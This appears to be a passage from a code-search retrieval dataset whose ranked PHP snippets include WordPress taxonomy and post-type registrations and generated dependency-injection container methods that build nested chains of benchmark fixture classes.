),\r\n\t\t'update_item' => __( 'Update Category', 'vanderweb' ),\r\n\t\t'add_new_item' => __( 'Add new Category', 'vanderweb' ),\r\n\t\t'new_item_name' => __( 'New Category Name', 'vanderweb' ),\r\n\t\t'menu_name' => __( 'Categories', 'vanderweb' ),\r\n\t\t'view_item' => __( 'Show Category', 'vanderweb' ),\r\n\t\t'popular_items' => __( 'Popular Categories', 'vanderweb' ),\r\n\t\t'separate_items_with_commas' => __( 'Seperate Categories with commas', 'vanderweb' ),\r\n\t\t'add_or_remove_items' => __( 'Add or Remove Categories', 'vanderweb' ),\r\n\t\t'choose_from_most_used' => __( 'Select from the mosu used Categories', 'vanderweb' ),\r\n\t\t'not_found' => __( 'No Categories found', 'vanderweb' )\r\n\t);\r\n\t$args = array(\r\n 'hierarchical' => true,\r\n 'labels' => $labels,\r\n 'public' => false,\r\n 'show_ui' => true,\r\n 'show_in_nav_menus' => false,\r\n 'show_tagcloud' => false,\r\n 'show_admin_column' => true\r\n\t);\r\n register_taxonomy( 'vanderweb_slides_cats', array( 'vanderweb_slides' ), $args );\r\n}", "title": "" }, { "docid": "ea73b0103a0a4335ee39a6854654758d", "score": "0.5920732", "text": "function alumni_profile_post_type() {\n\n\t // register post type + pass properties array to function\n\t\tregister_post_type( 'alumni-profile',\n\n\t\t // define post type options and properties\n\t\t\tarray(\n\n\t\t\t\t'labels' => array(\n\n\t\t\t\t\t'name' \t\t\t\t=> __( 'Alumni Profiles', 'cvmbsPress' ),\n\t\t\t\t\t'singular_name' \t=> __( 'Alumni Profile', 'cvmbsPress' ),\n\t\t\t\t\t'all_items' \t\t=> __( 'All Alumni Profiles', 'cvmbsPress' ),\n\t\t\t\t\t'add_new' \t\t\t=> __( 'Add Alumni Profile', 'cvmbsPress' ),\n\t\t\t\t\t'add_new_item' \t\t=> __( 'Add New Alumni Profile', 'cvmbsPress' ),\n\t\t\t\t\t'edit' \t\t\t\t=> __( 'Edit', 'cvmbsPress' ),\n\t\t\t\t\t'edit_item' \t\t=> __( 'Edit Alumni Profile', 'cvmbsPress' ),\n\t\t\t\t\t'new_item' \t\t\t=> __( 'New Alumni Profile', 'cvmbsPress' ),\n\t\t\t\t\t'search_items' \t\t=> __( 'Search Alumni Profiles', 'cvmbsPress' ),\n\t\t\t\t\t'not_found' \t\t=> __( 'Nothing to see here, which is bad, because billboards are meant to be seen.', 'cvmbsPress' ),\n\t\t\t\t\t'parent_item_colon' => ''\n\n\t\t\t\t),\n\n\t\t\t\t'public'\t\t\t\t=> true,\n\t\t\t\t'publicly_queryable' \t=> true,\n\t\t\t\t'exclude_from_search' => true,\n\t\t\t\t'show_ui' \t\t\t\t=> true,\n\t\t\t\t'show_in_nav_menus' \t=> false,\n\t\t\t\t'show_in_admin_bar' \t=> false,\n\t\t\t\t'query_var' \t\t\t=> true,\n\t\t\t\t'can_export' \t\t\t=> true,\n\t\t\t\t'rewrite' \t\t\t\t=> array( 'slug' => 'alumni-profiles', 'with_front' => false ),\n\t\t\t\t'has_archive' \t\t\t=> false,\n\t\t\t\t'capability_type' \t\t=> 'post',\n\t\t\t\t'hierarchical' \t\t\t=> false,\n\t\t\t\t'menu_position' \t\t=> 4,\n\t\t\t\t'menu_icon' \t\t\t=> 'dashicons-groups',\n\t\t\t\t'supports' \t\t\t\t=> array( 'title' )\n\n\t\t\t)\n\n\t\t);\n\n\t}", "title": "" } ]
391607cc0cdfd183ed6e33d3abfa7d3e
/ Gets the public 'DiContainerBenchmarks\Fixture\Class34' autowired service.
[ { "docid": "8bc60bd8233539bf59ef3a6275b2486b", "score": "0.7353243", "text": "protected function getClass34Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))));\n }", "title": "" } ]
[ { "docid": "4e9e32959abb39173b07b9e854dec1e5", "score": "0.6947703", "text": "protected function getClass44Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "ee49037824466fcbe63f82117ceeba69", "score": "0.69052786", "text": "protected function getClass43Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "9c49193d796ab7197d41113e0607eac2", "score": "0.6829507", "text": "protected function getClass78Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "ee17e7dd6252966bb3620477aa9c5daf", "score": "0.6827129", "text": "protected function getClass48Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "17f7bb2b89a6564272a40100822396fa", "score": "0.68061036", "text": "protected function getClass49Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "d4d01e68584cca49ca58d3819ac9ebf7", "score": "0.67991376", "text": "protected function getClass41Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "acccd4de5cb3801eb2fd5da791df5bbb", "score": "0.6790976", "text": "protected function getClass77Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "0337c901036158d6100e5193ac2eaba9", "score": "0.67883056", "text": "protected function getClass84Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new 